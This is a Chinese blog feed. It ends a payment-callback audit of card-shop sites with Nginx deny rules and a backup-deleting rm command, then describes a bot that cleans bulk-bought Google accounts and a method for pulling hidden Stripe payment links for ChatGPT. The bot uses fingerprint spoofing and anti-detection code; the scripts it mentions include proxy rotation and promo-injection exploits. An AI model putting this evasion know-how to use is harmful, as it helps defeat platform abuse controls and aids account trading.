A10	form-urlencoded 格式	Content-Type 混淆
A11	路径穿越 Handle	插件路由安全

5.2 审计结果

站点	框架	回调安全	状态验证	源码泄露	CF 防护	综合
站点 A	ACG-Faka	✅ 34/34 SAFE	有 API	路径泄露	无	⚠️ 中
站点 B	ACG-Faka	✅ 全部 SAFE	有 API	路径泄露	无	⚠️ 中
站点 C	Next.js/Vercel	N/A	需认证	无	全站	✅ 低
站点 D	ACG-Faka	✅ 全部 SAFE	无 (404)	路径+composer	无	⚠️ 中
站点 E	ACG-Faka	✅ 64/64 SAFE	有 API	路径+composer	无	⚠️ 中

关键发现：

回调签名验证全部正常——五个站都没有被伪造回调突破
但四个 ACG-Faka 站都有源码路径泄露——攻击者可以看到 Fatal Error 中暴露的物理路径
Config.php 虽然返回 200 空（PHP 正确执行了），但路径可达本身就是隐患
唯一一个 Next.js + Vercel 站完全不受此类攻击影响——非 PHP 框架，无弱类型问题，Vercel 不暴露源码

5.3 为什么这五个站没被攻破

没有备份文件暴露——五个站的 Web 根目录下没有扫到可下载的 .zip / .sql / .bak 文件
Config.php 正确走了 PHP-FPM 路由——返回 200 空响应，Token 没有泄露

但隐患仍在：四个 ACG-Faka 站的 /app/ 路径仍然可达，只是 PHP-FPM 兜住了。如果未来某次运维操作改错了 PHP-FPM 配置，或者站长在根目录放了一次备份文件，攻击者立刻就能得手。这是一颗定时炸弹。

六、防御方案

6.1 P0 紧急修复（立即执行）

清理并封锁备份文件——这是最紧急的一步：

# 1. 立即删除 Web 根目录下的所有备份文件
find /www/wwwroot/faka/ -maxdepth 1 \
 \( -name "*.zip" -o -name "*.tar.gz" -o -name "*.rar" \
 -o -name "*.sql" -o -name "*.bak" -o -name "*.7z" \) \
 -exec rm -f {} \;

# 2. 在 Nginx 中彻底封锁备份文件下载

# 封锁所有备份/归档文件类型
location ~* \.(zip|tar\.gz|rar|sql|bak|7z|gz|tgz)$ {
 deny all;
 return 403;
}

Nginx 封锁源码目录——阻断 Config.php 泄露路径：

# 阻止所有对 PHP 源码、配置、运行时文件的直接访问
location ~* ^/(app|config|runtime|vendor)/ {
 deny all;
 return 403;
}

# 阻止敏感文件
location ~* (composer\.(json|lock)|\.env|\.git) {
 deny all;
 return 403;
}

更换所有凭据——如果曾经在 Web 目录放过备份文件，必须假设已泄露，一律重置：

API Token（支付密钥）
数据库密码
货源接口密钥
后台管理员密码

升级签名验证——确认 Signature.php 使用 hash_equals() + is_string() 类型检查：

public static function safetyEquals(mixed $str, string $local): bool
{
 if (!is_string($str) || $str === '') {
 return false;
 }
 return hash_equals($local, $str);
}

6.2 P1 加固措施

回调端点 IP 白名单：

location ~* ^/user/api/order/callback\. {
 allow 支付网关IP;
 deny all;
}

签名算法升级——从 MD5 升级到 HMAC-SHA256：

// MD5 拼接（BEpusdt 默认）→ 容易被长度扩展攻击
$sign = md5($sorted_string . $token);

// HMAC-SHA256（推荐）→ 密钥参与哈希内部运算，无法伪造
$sign = hash_hmac('sha256', $sorted_string, $token);

6.3 P2 监控告警

回调端点频率限制（单 IP 每分钟 ≤ 10 次）
异常响应监控：连续出现 33 字节（success）响应时触发告警
回调日志独立记录：IP、签名、时间、订单号，便于事后追溯

6.4 架构层面

如果条件允许，考虑迁移到非 PHP 框架（如 Next.js + Vercel），从根本上消除 PHP 弱类型比较和源码泄露的风险。审计中唯一零风险的站点正是这种架构。

七、总结

这次攻击的本质不是密码学层面的签名绕过，而是运维层面的密钥泄露。攻击者有两条路可走：

路径 A: Web 根目录残留备份文件（.zip / .sql）
 → 攻击者下载备份 → 解压得到全部凭据（甚至直接拿到卡密）

路径 B: Nginx 配置错误，Config.php 当静态文件返回
 → 攻击者读取 PHP 源码 → 得到 API Token

两条路殊途同归：
 → 用 Token 计算合法 MD5 签名
 → 伪造回调通知
 → 系统认为已付款
 → 卡密被释放

官方通告指向路径 A，日志分析发现路径 B。多个受害站点同时存在两个问题。

修复其实不复杂——删备份文件、加 Nginx deny 规则、换密钥，三步就能阻断整条链。但现实是，四个受审计的 ACG-Faka 站点连 /app/ 目录的 deny 规则都没有。

安全不是只靠签名算法。签名验证是最后一道防线，不应该是唯一一道。 纵深防御意味着即使签名被绕过，IP 白名单能兜底；即使白名单没配，源码和备份至少不应该暴露密钥。任何一层失守都不会导致全盘崩溃——这才是安全架构的正确姿势。

本文所有测试均在授权范围内进行，已获得站点所有者许可。文中不包含任何真实域名和凭据。

Gmail Sanitizer 深度拆解：8 步全链路凭据切断的自动化实现

Tue, 04 Aug 2026 14:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

一分钟速读：Gmail Sanitizer 不是简单的"改密码工具"，而是一套 8 步全链路凭据切断系统——从恢复邮箱、恢复手机、Passkey、2FA 密钥到 OAuth 授权，把卖家在账号上留下的所有后门逐一切断，最后用新凭据重新登录验证。底层用 DrissionPage 驱动真实 Chrome 绕过 Google 反自动化检测，配合 Cloudflare Email Worker 实现验证码秒级推送，AES-256-GCM 加密冷库保护敏感数据，asyncio 任务队列 + 死信队列实现批量并发 + 失败自愈。本文从攻防对抗、引擎架构、接码管道三个维度逐层拆解。

引言

先问一个问题：你从卡网买了一个 Google 账号，改了密码，是不是就安全了？

不是。

改密码只切断了 6 条"绳子"中的 1 条。卖家仍然可以通过以下方式盗回你的账号：

后门	盗回方式
恢复邮箱	通过"忘记密码"流程，Google 会把重置链接发到卖家的恢复邮箱
恢复手机号	同上，短信验证码直接发到卖家手机
Passkey	卖家的设备上注册了 Passkey，无需密码即可登录
TOTP 2FA 密钥	卖家手里有 Base32 密钥，能随时生成你的 2FA 验证码
旧会话 / Cookie	卖家的浏览器可能还保持着登录状态
OAuth 授权	授权过的第三方应用可以读取邮件、通讯录等数据

你只改了密码？卖家用恢复邮箱就能把密码改回来。你改了密码又关了 2FA？Passkey 还在。你把 Passkey 也删了？OAuth 授权的第三方应用还在偷偷读你的数据。

Gmail Sanitizer 要做的事情，就是一口气把这 6 条绳子全部切断。

一、核心功能：8 步全链路凭据切断

这个系统的核心是一条 8 步流水线，每一步精确对应一个后门：

步骤	操作	切断的后门	关键难点
Step 1	登录验证	验证旧凭据有效性	2FA 挑战、Account Chooser、中间提示页
Step 2	替换恢复邮箱	卖家的恢复邮箱 → 买家自建接码邮箱	Google 可能要求邮箱验证码
Step 3	移除恢复手机	卖家绑定的手机号	可能需要 Sudo 二次验证
Step 4	删除所有 Passkey	卖家设备的无密码登录凭据	循环删除，最多 20 个
Step 5	重置 2FA	旧 TOTP 密钥 → 新 Base32 密钥	需要提取页面上的 Base32 密钥文本
Step 6	修改密码 + 全设备登出	旧密码 + 旧会话	密码强度校验、设备登出确认
Step 7	撤销 OAuth 授权	所有第三方应用权限	循环撤销，最多 30 个
Step 8	新凭据验证	确认所有切断生效	用新密码 + 新 2FA 重新登录

注意步骤顺序不是 1-2-3-4-5-6-7-8，而是 1-2-5-4-3-6-7-8——Step 5（重置 2FA）被提前到 Step 4（删除 Passkey）之前执行。为什么？因为 Step 5 需要在 Sudo Gate 中输入旧 TOTP 码来验证身份，如果先删了 Passkey 可能导致 Google 挑选 Passkey 作为 Sudo 验证方式却找不到，引发意外的验证失败。

1.1 Sudo Gate：Google 的二次验证拦截

这是整个系统最精巧的部分。

Google 在你修改安全设置时，会弹出"Sudo Gate"——一个二次身份验证页面。问题是，Sudo Gate 不是固定的，Google 会根据你的账号状态动态选择挑战方式：

def handle_google_sudo_gate(self, page, password, totp_secret=None,
 gmail=None, recovery_email=None):
 for cycle in range(6): # 最多循环 6 次
 current_url = page.url

 # 1. Account Chooser（会话过期）
 if "accountchooser" in current_url:
 # 点击账号重新选择

 # 2. 2FA 方式选择页
 if "challenge/selection" in current_url:
 # 智能选择：优先 recovery email > TOTP

 # 3. 恢复邮箱验证 (challenge/kpe)
 if is_rec_email_challenge and recovery_email:
 # 输入恢复邮箱地址

 # 4. 密码重输 (challenge/pwd)
 if is_pwd_challenge:
 # 重新输入当前密码

 # 5. TOTP 二次验证 (challenge/totp)
 if is_totp_challenge and totp_secret:
 # 生成并输入 TOTP 验证码

关键设计：while 循环。Google 可能在一次操作中连续弹出多种挑战（先要密码，再要 TOTP），所以 Sudo Gate 处理器设计为最多循环 6 次，每次检测当前 URL 和页面元素，动态选择对应的处理策略。不是 if-else，而是 for cycle in range(6)。

1.2 TOTP 密钥提取：从页面 HTML 中挖掘 Base32

Step 5 重置 2FA 时，需要从 Google 的 Authenticator 设置页面提取新的 Base32 密钥。这个密钥显示在页面上的格式是 4 字符一组、空格分隔的文本（如 ABCD EFGH IJKL MNOP）。

提取策略是两层漏斗：

# 第一层：正则匹配 4-8 组 Base32 字符块
m_groups = re.search(
 r"\b(?:[a-zA-Z2-7]{4}\s+){3,7}[a-zA-Z2-7]{4}\b",
 dialog_text
)
if m_groups:
 candidate = m_groups.group(0).replace(" ", "").upper()
 if len(candidate) in (16, 24, 32):
 new_secret = candidate

# 第二层：暴力遍历所有元素文本
if not new_secret:
 for e in page.eles("xpath://div[@role='dialog']//..."):
 m = re.search(r"\b([a-zA-Z2-7]{16,32})\b", txt.replace(" ", ""))
 if m and candidate not in ("AUTHENTICATOR", "VERIFICATION", ...):
 new_secret = candidate

提取到密钥后，立即用 pyotp.TOTP(new_secret).now() 生成验证码填入确认框，完成 2FA 重置闭环。

1.3 断点续跑：任意步骤中断后恢复

每完成一个步骤，引擎立即将进度持久化：

account.mark_step("step2_email_changed")
self._save_sync(account)

StepProgress 用 10 个布尔字段精确记录每一步的完成状态。重试时，引擎检查哪些步骤已完成，直接跳过：

if not account.step_progress.step2_email_changed:
 ok = self._step2_recovery_email(page, cred, account)
 # ...

这意味着如果 Step 5 因为网络超时失败，重试时会跳过 Step 1-4 直接从 Step 5 开始。

二、技术架构

2.1 双引擎设计

系统提供两套浏览器引擎，适配不同场景：

	DrissionPage 引擎	Playwright 引擎
Chrome 类型	真实 Chrome 进程	Chromium 内核
反检测能力	天然通过——就是真 Chrome	需要 JS 注入伪装
并发模式	每个任务独立端口 + Profile	每个任务独立 BrowserContext
适用场景	生产环境（高通过率）	开发调试（API 更友好）
进程隔离	每个账号独立 Chrome 进程	同一 Browser 下的 Context 隔离

DrissionPage 引擎是生产首选。它直接控制真实 Chrome 浏览器，Google 的反自动化检测基本无效——因为从 Google 的角度看，这就是一个普通用户在操作浏览器。

进程隔离的实现很巧妙：

def _make_options() -> ChromiumOptions:
 port = _find_free_port() # 每个任务随机端口
 opt.set_local_port(port)
 # 独立 Profile 目录，防止 Chrome SingletonLock 死锁
 profile_dir = f"data/chrome_profiles/profile_{port}"
 opt.set_user_data_path(profile_dir)

每个账号对应一个独立的 Chrome 实例（独立端口 + 独立 Profile），彻底避免了并发时的 Cookie 串扰和 SingletonLock 死锁。

2.2 反检测体系

Playwright 引擎需要额外的反检测处理。stealth_browser.py 实现了完整的指纹随机化：

// 隐藏 webdriver 属性
Object.defineProperty(navigator, 'webdriver', {get: () => undefined});

// 伪造 plugins（无头浏览器默认为空）
Object.defineProperty(navigator, 'plugins', {
 get: () => [
 {name: 'Chrome PDF Plugin', filename: 'internal-pdf-viewer'},
 // ...
 ]
});

配合随机 User-Agent、随机分辨率、随机时区和随机语言：

_USER_AGENTS = ["Chrome/125.0", "Chrome/124.0", ...] # 5 种
_VIEWPORTS = [1920x1080, 1440x900, ...] # 5 种
_LOCALES = ["en-US", "zh-CN", ...] # 5 种
_TIMEZONES = ["America/New_York", "Asia/Shanghai", ...] # 5 种

每个 BrowserContext 从这些池子中随机组合，确保指纹不重复。

2.3 任务队列 + 死信队列

并发调度用经典的 asyncio 生产者-消费者模型：

┌──────────────┐ ┌──────────────┐
│ 任务入队 │────▶│ asyncio.Queue │
└──────────────┘ └──────┬───────┘
 │
 ┌─────────────┼─────────────┐
 ▼ ▼ ▼
 ┌──────────┐ ┌──────────┐ ┌──────────┐
 │ Worker 0 │ │ Worker 1 │ │ Worker N │
 └────┬─────┘ └────┬─────┘ └────┬─────┘
 │ │ │
 ▼ ▼ ▼
 ┌──────────────────────────────────┐
 │ DrissionEngine.run_sync(task) │
 └──────────┬───────────────────────┘
 │
 ┌────────┴────────┐
 ▼ ▼
 ┌──────────┐ ┌──────────┐
 │ VERIFIED │ │ FAILED │──▶ 死信队列
 └──────────┘ └──────────┘ (指数退避重试)

死信队列的设计很讲究：

不可重试类型自动隔离：WRONG_PASSWORD（密码错误）、ACCOUNT_DISABLED（封号）、CAPTCHA_BLOCKED（风控拦截）—— 这些重试也没用，直接进人工审核
可重试类型指数退避：STEP_TIMEOUT（超时）、PROXY_ERROR（代理挂了）—— 等 2^n 秒后重试，最多 3 次
Passkey 误判恢复：如果失败详情包含 passkeyenrollment 或 speedbump，说明不是真正的失败而是卡在了中间提示页，强制纳入可重试队列

2.4 AES-256-GCM 加密冷库

所有敏感字段（新密码、TOTP 密钥、Cookie）在存入数据库前经过 AES-256-GCM 加密：

class _Cipher:
 def encrypt(self, plaintext: str) -> str:
 nonce = os.urandom(12) # 96-bit 随机 nonce
 ct = self._aesgcm.encrypt(nonce, plaintext.encode(), None)
 return (nonce + ct).hex() # nonce 和密文拼接后存储

GCM 模式提供认证加密——不仅保密，还防篡改。即使数据库被拖库，没有 32 字节主密钥也无法解密。而且每次加密使用随机 nonce，相同明文产生不同密文，抵抗已知明文攻击。

三、验证码邮件管道

Step 2（替换恢复邮箱）可能触发 Google 的邮箱验证码。系统通过 Cloudflare Email Worker 实现秒级接码：

Google 发送验证码邮件
 ↓
Cloudflare Email Routing（Catch-All 规则）
 ↓
Email Worker（正则提取 6 位验证码）
 ↓
HTTP POST → 主程序回调接口
 ↓
主程序轮询取码 → 填入浏览器

Email Worker 的正则提取覆盖了 Google 验证码邮件的多种模板：

const codePatterns = [
 /\b([0-9]{6})\b(?=\s*(?:is your|是您的|verification|验证|code))/i,
 /(?:verification code|验证码)[^\d]*([0-9]{6})/i,
 /G-([0-9]{6})/i, // Google 特定格式 "G-123456"
 /\b([0-9]{6})\b/, // 兜底：提取第一个 6 位数字
];

如果邮件通道超时（30 秒），系统还有一个优雅降级——直接在终端提示操作者手动输入验证码：

if sys.stdin.isatty():
 user_code = input("6-digit code (or Enter to skip): ").strip()

四、安全设计亮点

设计	实现	目的
进程隔离	每账号独立 Chrome 进程 + 独立端口 + 独立 Profile	防 Cookie 串扰、防 SingletonLock
加密存储	AES-256-GCM + 随机 Nonce	数据库脱库也无法解密
人类行为模拟	`random.uniform(0.8, 2.0)` 秒操作间隔 + Worker 领任务前 1.5-5.0 秒抖动	降低 Google 风控触发率
中间提示页自动跳过	智能识别 Passkey 引导、恢复邮箱确认等弹窗	防止流程卡死
密码强度保证	18 位、大小写 + 数字 + 符号、`secrets` 模块生成	通过 Google 密码强度校验
密码热切换	Step 6 修改密码后立即 `cred.password = new_password`	后续步骤用新密码通过 Sudo Gate

五、与同类方案对比

维度	手动操作	简单脚本	Gmail Sanitizer
覆盖后门数	取决于经验（通常漏 2-3 个）	1-2 个（通常只改密码）	全部 6 类后门
单号耗时	15-30 分钟	3-5 分钟	1-3 分钟
并发能力	1	1-3	20+（可配置）
断点续跑	不支持	不支持	支持（10 步粒度）
失败自愈	手动重试	无	死信队列 + 指数退避
凭据保护	明文	明文	AES-256-GCM
反检测	不需要	Selenium（易被检测）	真实 Chrome / 指纹随机化
Sudo Gate 处理	人工判断	通常卡住	6 种挑战类型自动适配

写在最后

Gmail Sanitizer 这个项目的技术含量不在于"自动化"本身——Selenium 填表单谁都会。它的价值在于对 Google 安全机制的深度理解：知道 Google 有哪些后门、知道 Sudo Gate 有哪些挑战类型、知道 Base32 密钥在页面上以什么格式显示、知道修改密码后旧 TOTP 密钥还能用多久。

从工程角度看，断点续跑 + 死信队列 + 加密冷库的组合，让它从"一次性脚本"变成了"可运维的生产系统"。这是大多数同类工具缺失的维度。

对于大体量的 Google 账号采购场景，先批量跑一遍 8 步清洗，再投入使用——这是成本最低的安全保障。

提链 — ChatGPT 跨区支付链接提取的完整技术拆解

Sat, 01 Aug 2026 20:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 免责声明：本文仅供安全研究与技术讨论。文中不提供可直接复用的攻击工具或完整利用脚本。本文目的是帮助开发者理解 Stripe 跨区支付的工作原理，以及为什么某些支付方式在不同区域可见性不同。提链工具不篡改金额、不注入优惠码，用户以正常价格通过本地支付方式完成订阅。

前言

“提链"这个词，最近在各种 ChatGPT 合租群、代充群里频繁出现。

什么意思呢？简单来说：把 ChatGPT 的信用卡结账页面，转换成一个本地支付方式（iDEAL / UPI / PIX / Kakao Pay / GCash…）的跳转链接。

你可能会问——OpenAI 不是只接受信用卡吗？

准确地说，OpenAI 的前端只展示信用卡表单。但后端用的是 Stripe，而 Stripe 在全球支持几十种本地支付方式。这些支付方式对应的国家、货币、支付类型都不同，OpenAI 在结账页面上做了筛选，只让你看到"信用卡 / 借记卡"一个选项。

但 Stripe 的能力是在的。只要你能在创建 Checkout Session 时告诉 Stripe “我要用荷兰 iDEAL 支付”——Stripe 就会老老实实返回一个 iDEAL 的跳转链接。

提链，就是从 Stripe 的 Checkout Session 里把这个跳转链接提出来。

上一篇文章我们拆了 0 PHP 白嫖 ChatGPT Plus 的跨区定价混淆攻击。那个是利用区域信号碎片化 + 工具注入参数让金额变成 0——纯粹的漏洞利用，现在大概率已经被修了。

而提链不同。提链是正常的商业行为——用户以当地正常价格、通过当地正常的支付方式付款。只不过 OpenAI 的 UI 不展示这些选项，你得自己绕过前端的限制，直接和 Stripe 对话。

今天把它从协议层完整拆开。

一、为什么需要提链——信用卡的困境

全球 80 亿人，有信用卡的不到 20 亿。

印度人用 UPI，巴西人用 PIX，荷兰人用 iDEAL，韩国人用 Kakao Pay，越南人用 MoMo。这些不是什么小众支付方式——它们在各自国家的渗透率往往超过 70%。

但 OpenAI 的结账页面只给你一个 Stripe Elements 信用卡表单：卡号、有效期、CVC。没有信用卡？不好意思。

讽刺的是，Stripe 本身是支持这些本地支付方式的。OpenAI 创建 Checkout Session 时，就是通过 billing_details.country 和 billing_details.currency 来决定哪些支付方式可用。

国家	货币	可用支付方式	月费
??🇱 荷兰	EUR	iDEAL	€20
🇮🇳 印度	INR	UPI	₹1,950
🇧🇷 巴西	BRL	PIX	R$99.90
??🇭 瑞士	CHF	TWINT	CHF 20
🇰🇷 韩国	KRW	Kakao Pay	₩26,400
🇵🇱 波兰	PLN	BLIK	zł79.99
🇻🇳 越南	VND	MoMo	₫460,000
??🇭 菲律宾	PHP	GCash	₱990

这些价格不是我编的——它们真实存在于 Stripe 的 Checkout Session 响应里。OpenAI 按照区域设置了不同的定价，Stripe 负责处理。只是 OpenAI 的前端选择性地隐藏了这些支付方式。

提链工具要做的，就是绕过前端的限制，以目标国家/货币创建 Checkout Session，然后从 Stripe 的 confirm 响应中提取第三方支付的跳转链接。

二、提链的技术原理——四步拆解

Step 1：获取 Access Token

https://chatgpt.com/api/auth/session

返回一个 JSON：

{
 "user": { "id": "user-xxx", "name": "...", "email": "..." },
 "accessToken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
}

accessToken 是一个标准 JWT，有效期通常 5~10 分钟。它是后续所有 API 调用的认证凭据。

提链工具同时也支持直接粘贴 __Secure-next-auth.session-token cookie——这个 cookie 可以用来换取新的 access token。但最简单的方式还是直接复制上面的 JSON。

Step 2：创建 Checkout Session

用 Access Token 调用 OpenAI 的 checkout API：

POST https://chatgpt.com/backend-api/payments/checkout
Authorization: Bearer eyJ...

{
 "entry_point": "all_plans_pricing_modal",
 "plan_name": "chatgptplusplan",
 "billing_details": {
 "country": "NL",
 "currency": "EUR"
 },
 "checkout_ui_mode": "custom"
}

关键参数是 billing_details 里的 country 和 currency。这两个字段决定了 Stripe 在初始化支付页面时会提供哪些支付方式。传 NL + EUR，Stripe 就会在 payment_method_types 里包含 ideal。

响应：

{
 "checkout_session_id": "oaics_xxxxxxxxxxxx",
 "processor_entity": "openai_llc",
 "publishable_key": "pk_live_xxxxxxxxxxxx",
 "payment_method_types": ["card", "ideal"]
}

oaics_ 前缀是 OpenAI 定制的 Stripe Checkout Session ID 格式。

Step 3：Stripe 协议流程

拿到 Checkout Session ID 后，需要完成一系列 Stripe API 调用。这是提链的核心技术含量所在——不是简单地 POST 一个接口就完事了。

完整的协议流程有 12 步：

┌──────────────────────────┐
│ 1. Session Refresh │ (用 cookie 换新的 AT)
│ 2. Create Checkout │ (拿 AT 创建 checkout session)
│ 3. Stripe Init │ (初始化支付页面状态)
│ 4. Update OAI Taxes │ (通知 OpenAI 更新税务)
│ 5. Stripe Tax Region │ (更新 Stripe 税务区域)
│ 6. Stripe Customer Data │ (更新客户信息)
│ 7. OAI Checkout Snapshot │ (保存 checkout 快照)
│ 8. Pre-Confirm │ (部分支付方式需要)
│ 9. Create Payment Method │ (创建 PM，类型=ideal/upi/pix...)
│ 10. Confirm │ (确认支付，触发重定向)
│ 11. Approve │ (如果需要额外批准)
│ 12. Extract Redirect URL │ (从 confirm 响应中提取跳转链接)
└──────────────────────────┘

每一步都有自己的参数格式和必要的状态管理。Stripe 的 Checkout Session 是有状态的——它跟踪你的 eid（element ID）、mrid（merchant reference ID）、expected_amount 等等。如果你跳过了某一步或者参数不对，后续步骤就会报错。

Step 4：提取支付链接

第 10 步 Confirm 之后，如果支付方式是重定向类型（iDEAL、UPI、PIX 等都是），Stripe 会在响应中返回一个 redirect_url：

{
 "status": "requires_action",
 "next_action": {
 "type": "redirect_to_url",
 "redirect_to_url": {
 "url": "https://hooks.stripe.com/redirect/authenticate/src_xxx?client_secret=..."
 }
 }
}

这个 URL 就是最终的支付链接。用户在浏览器中打开它，会被重定向到对应的支付方式页面（iDEAL 的银行选择页、UPI 的付款确认页、PIX 的二维码页面等）。完成支付后，Stripe webhook 通知 OpenAI，OpenAI 确认订阅生效。

整个流程，金额由 Stripe 的价格表决定，提链工具不篡改任何金额字段。 用户付的就是对应国家/地区的标准月费。

三、Stripe Checkout Session 的内部结构

拆开看，Stripe Checkout Session 里藏了不少有趣的东西。

第 3 步 Stripe Init 调用的是：

POST https://api.stripe.com/v1/payment_pages/{oaics_xxx}/init

响应中最关键的几个字段：

{
 "payment_method_types": ["card", "ideal"],
 "line_items": [{
 "description": "ChatGPT Plus subscription",
 "amount": 2000,
 "currency": "eur"
 }],
 "shipping_address_collection": null,
 "payment_method_configuration": {
 "merchant_reference_id": "mri_xxx",
 "customer_session_client_secret": "cuss_xxx"
 },
 "session_id": "oaics_xxx"
}

payment_method_types 是关键——它决定了这个 Checkout Session 支持哪些支付方式。同一个接口，传不同的 country / currency，返回的 payment_method_types 就不同。

这也解释了为什么 OpenAI 前端只显示信用卡——它在创建 Checkout Session 时没有传目标国家的 billing_details，或者传的是用户账号的注册国家（通常是 US），所以 Stripe 只返回 ["card"]。

四、八种支付方式的技术对比

每种支付方式在 Stripe 层面的行为略有不同：

支付方式	PM Type	国家	货币	需要 pre_confirm	重定向类型	特殊处理
iDEAL	`ideal`	NL	EUR	✗	银行选择页	无
UPI	`upi`	IN	INR	✗	VPA 输入页	无
PIX	`pix`	BR	BRL	✗	二维码页	无
TWINT	`twint`	CH	CHF	✗	App 跳转	无
Kakao Pay	`kakao_pay`	KR	KRW	✓	Kakao 确认页	需要 pre_confirm 调用
BLIK	`blik`	PL	PLN	✗	6位码输入	无
MoMo	`momo`	VN	VND	✓	MoMo App	需要 pre_confirm 调用
GCash	`gcash`	PH	PHP	✗	GCash 确认页	无

大多数支付方式流程一致：创建 PM → Confirm → 提取 redirect URL。但 Kakao Pay 和 MoMo 需要额外的 pre_confirm 调用——如果跳过这一步，Confirm 会返回 incomplete 状态，没有 redirect URL。

pre_confirm 的请求格式：

POST https://api.stripe.com/v1/payment_pages/{oaics_xxx}/pre_confirm
Content-Type: application/x-www-form-urlencoded

expected_payment_method_type=kakao_pay

看起来简单，但如果你不知道有这一步，Kakao Pay 的提链就会卡在最后一步——所有参数都对了，就是拿不到链接。这类细节只有通过 HAR 抓包 Stripe 的完整结账流程才能发现。

五、从 0 PHP 到提链——漏洞与工具的边界

上一篇文章分析了 0 PHP 攻击，里面提到第三方工具在创建 Checkout Session 时可能注入了零元参数（如 promo_campaign）。那么问题来了：

提链工具和那个"CDK 提炼"工具是一回事吗？

不是。区别在于：

	0 PHP “提炼"工具	正常提链工具
目的	白嫖（amount = 0）	正常付款
是否注入优惠码	是（`promo_campaign`、`discount` 等）	否
金额来源	工具操纵	Stripe 价格表
合法性	灰色/违法	正常商业行为

正常的提链工具不注入任何优惠参数。它只是：

用你的 AT 创建一个以目标国家/货币计价的 Checkout Session
走完 Stripe 的协议流程
把 redirect URL 返回给你

你付的是 Stripe 价格表上对应区域的标准价格——荷兰 €20/月，印度 ₹1,950/月，巴西 R$99.90/月。没有优惠码，没有金额篡改。

正常的提链工具的设计原则应该是：不注入 promo_campaign，不传 discount，不覆盖 amount。 工具只做一件事——把 Stripe 的本地支付能力释放出来，让没有信用卡的用户也能正常订阅。

六、协议细节——那些让你卡住的坑

如果你自己尝试过写提链脚本，你一定踩过这些坑。

坑 1：IP 一致性

Stripe Checkout Session 在创建和确认时需要使用同一个 IP。如果你用代理 A 创建了 Checkout Session，又用代理 B 去 Confirm——Stripe 会返回 invalid_request_error。

这不是 Stripe 的 bug，是安全机制。Stripe 检测到 session 的创建 IP 和确认 IP 不一致，会认为可能是中间人攻击。

解决方案：整个 12 步流程使用同一个 HTTP client（或 cookie jar），确保所有请求走同一个出口 IP。

坑 2：`expected_amount`

Stripe 的 Confirm 请求需要传 expected_amount 参数，值必须和 Checkout Session 的金额一致。这个值从哪来？

最准确的来源是第 4 步 Update Taxes 的响应。这一步把账单地址传给 OpenAI，OpenAI 计算含税金额后写入 Checkout Session，然后返回一个 snapshot，里面有 amount_total：

{
 "snapshot": {
 "amount_total": 2000,
 "currency": "eur"
 }
}

如果你用 Init 步骤的金额去 Confirm，可能会因为税后金额不一致而失败。

坑 3：Stripe Session State

Stripe 的 Checkout Session 维护了一个内部状态。每次 API 调用后，响应里都会更新 eid、mrid 等字段。下一次调用必须带上最新的状态值。

这意味着你不能简单地并行调用 12 步——必须严格按顺序执行，每一步用上一步返回的最新状态。

坑 4：`Accept-Language` 和 `guid`

这两个是容易忽略的细节：

Stripe API 会根据 Accept-Language 请求头返回不同的 locale 配置。如果你不传，默认是 en-US，但某些支付方式在特定 locale 下行为不同。
Stripe 的某些内部 API 需要一个 guid 参数，格式是 xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx（UUID v4）。不是随便写的——格式不对会被拒绝。

坑 5：超时

整个流程从创建 Checkout Session 到拿到 redirect URL，通常需要 10~30 秒。某些支付方式（如 Kakao Pay）可能需要更长时间，因为 Stripe 需要和第三方支付系统交互。

如果 Confirm 之后没有立刻返回 redirect URL，需要轮询 Init 接口。URL 可能在 Confirm 后几秒到几十秒内才出现。我们的工具最多等 90 秒——超过这个时间通常意味着哪里出了问题。

七、开源提链脚本

说了这么多原理，给一些现成的实现参考。

⚠️ 时效性声明：以下脚本收集于 2026 年 7 月。OpenAI/Stripe 的 API 接口、Stripe runtime 版本、风控策略随时可能变更，脚本可能已不可用。仅供学习协议流程和理解技术原理，不保证当前可运行。使用前请自行验证。

多支付方式提链套件

来源：社区开源的 ideal-link-extractor，MIT License。

包含 6 种支付方式的独立提取脚本：

脚本	支付方式	说明
`ideal_qr_extract.py`	iDEAL（荷兰）	核心脚本（3263 行），其他脚本的参考实现
`upi/upi_extract.py`	UPI（印度）	含多代理轮转、并行模式
`pix/pix_extract.py`	PIX（巴西）	二维码提取
`twint/twint_extract.py`	TWINT（瑞士）	App 跳转链接
`kakao/kakao_extract.py`	Kakao Pay（韩国）	含 pre_confirm 处理
`blik/blik_qr_extract.py`	BLIK（波兰）	6 位码输入链接
`detect_payment_methods.py`	通用	按国家检测可用的 Stripe 支付方式

依赖：requests、curl_cffi、qrcode[pil]

基本用法（以 UPI 为例）：

pip install requests curl_cffi
export UPI_TOKEN="eyJhbGciOi..."
export UPI_PROXY="socks5://user:pass@host:port" # 自备代理
python upi_extract.py

每个脚本通过环境变量配置代理（XXX_PROXY）和 Token（XXX_TOKEN 或 token.txt 文件）。代理需自备——脚本不内置任何代理。

MoMo 提取脚本（越南）

独立维护的 MoMo/Kakao 脚本集，包含：

kakao_extract.py——共享的会话管理和 Stripe 协议辅助函数
momo_channel_probe.py——只读模式探测 MoMo 通道可用性
momo_probe.py——默认只读，设置 MOMO_EXTRACT_REDIRECT=1 才尝试提取

依赖额外的 Playwright（需要 Chromium）。

脚本的核心设计

这些脚本的技术亮点：

代理状态持久化——proxy_state.json 记录每个代理的健康状态、成功/失败计数、冷却时间
日志脱敏——自动将代理地址、Token 等敏感信息替换为安全标签
多 Worker 并行——支持多线程并发提取，自动分配代理
Stripe 协议完整实现——Session state 管理、eid/mrid 追踪、tax region 更新，完整复刻浏览器行为

注意：部分脚本包含 promo_campaign 注入逻辑和 REQUIRE_ZERO 选项（用于上一篇文章分析的 0 PHP 攻击路径）。这些属于漏洞利用代码，不建议使用——OpenAI 大概率已做修复，强行使用可能导致账号风控。

八、为什么 OpenAI 不直接提供这些支付方式？

好问题。Stripe 支持它们，OpenAI 用的是 Stripe，为什么不在结账页面上显示？

几个可能的原因：

合规成本：每个国家的本地支付方式有不同的合规要求（反洗钱、实名验证等）。支持 iDEAL 意味着要满足荷兰的金融监管要求。
退款风险：某些本地支付方式的退款/dispute 流程和信用卡不同。PIX 的退款机制、UPI 的 chargeback 流程，都需要额外的运营投入。
